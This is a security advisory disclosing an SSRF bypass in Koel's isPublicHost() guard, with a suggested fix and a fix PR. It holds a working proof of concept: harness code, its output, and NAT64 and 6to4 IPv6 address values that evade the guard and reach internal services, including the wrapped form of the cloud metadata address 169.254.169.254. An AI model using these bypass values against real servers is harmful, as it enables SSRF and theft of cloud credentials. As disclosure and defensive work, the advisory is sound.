Advisory

GHSA-rjg7-r26h-cfp2

Details, part 2 of 2. The advisory

Details

ip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -> loopback

A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released App\Helpers\Network (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):

$network = $app->make(App\Helpers\Network::class);   // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker AAAA-record value
foreach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';
// STEP 2: verbatim createForEpisode body
if (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }
else { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }

Verbatim output:

Network class (genuine released koel source): App\Helpers\Network
Resolved from: /app/app/Helpers/Network.php
Guard predicate source (app/Helpers/Network.php isPublicHost):
    filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====
  isPublicHost(64:ff9b::7f00:1     ) = true   [NAT64(127.0.0.1)  -> loopback] expect=bypass-expected
  isPublicHost(64:ff9b::a9fe:a9fe  ) = true   [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected
  isPublicHost(2002:a00:1::        ) = true   [6to4(10.0.0.1)   -> RFC1918] expect=bypass-expected
  isPublicHost(10.0.0.1            ) = false  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block
  isPublicHost(::ffff:10.0.0.1     ) = false  [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block
  isPublicHost(127.0.0.1           ) = false  [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block
  isPublicHost(8.8.8.8             ) = true   [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow

==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====
[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line="GET /secret HTTP/1.1" Host: [64:ff9b::7f00:1]:18099
  [NAT64 well-known of 127.0.0.1]
    url=http://[64:ff9b::7f00:1]:18099/secret
    guard=PASSED fetched=YES status=200
    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line="GET /secret HTTP/1.1" Host: [2002:7f00:1::]:18099
  [6to4 of 127.0.0.1]
    url=http://[2002:7f00:1::]:18099/secret
    guard=PASSED fetched=YES status=200
    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]
    url=http://10.0.0.1:18099/secret
    guard=REJECTED fetched=no status=-
    sink_body=(none)

==== E2E DONE ====

Result: both NAT64 and 6to4 enclosure URLs pass the genuine isPublicHost/isSafeUrl guard, the genuine Http::sink()->get() connects to the internal stand-in, and the internal response body (SENTINEL_INTERNAL_IMDS_SECRET=...) is read back — full-read SSRF.

Negative controls

  • http://10.0.0.1 (direct RFC 1918) — guard REJECTED, no fetch (shown above).
  • ::ffff:10.0.0.1 (IPv4-mapped IPv6) and 127.0.0.1 / 169.254.169.254 (direct) — isPublicHost(...) = false (shown in STEP 1). The existing guard correctly blocks every form except the two transition wrappers, confirming the gap is specific to NAT64 64:ff9b::/96 and 6to4 2002::/16.
  • 8.8.8.8 (public) — isPublicHost(...) = true (positive control: legitimate public hosts are unaffected by the proposed fix).

Impact

Full-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:

  • Cloud instance metadata (http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...) — credential / IAM-role token theft on AWS/GCP/Azure.
  • Internal-only HTTP services (admin panels, databases with HTTP fronts, localhost daemons) reachable from the Koel host.

Precondition: the Koel host has NAT64 (64:ff9b::/96) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.

Suggested fix

In isPublicHost(), before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (64:ff9b::/96, 64:ff9b:1::/48), 6to4 (2002::/16), IPv4-mapped (::ffff:0:0/96, already covered by the flag but should be unwrapped for consistency), Teredo (2001::/32) and IPv4-compatible (::/96) wrappers, extract the embedded IPv4, and require it to pass FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.

Fix PR

A fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's "Collaborators" / fix workflow). It adds an extractEmbeddedIpv4() helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing NO_PRIV_RANGE | NO_RES_RANGE predicate in both the literal-IP and per-resolved-record branches of isPublicHost(), and adds regression tests.

Credit

Reported by tonghuaroot.

Sources & licences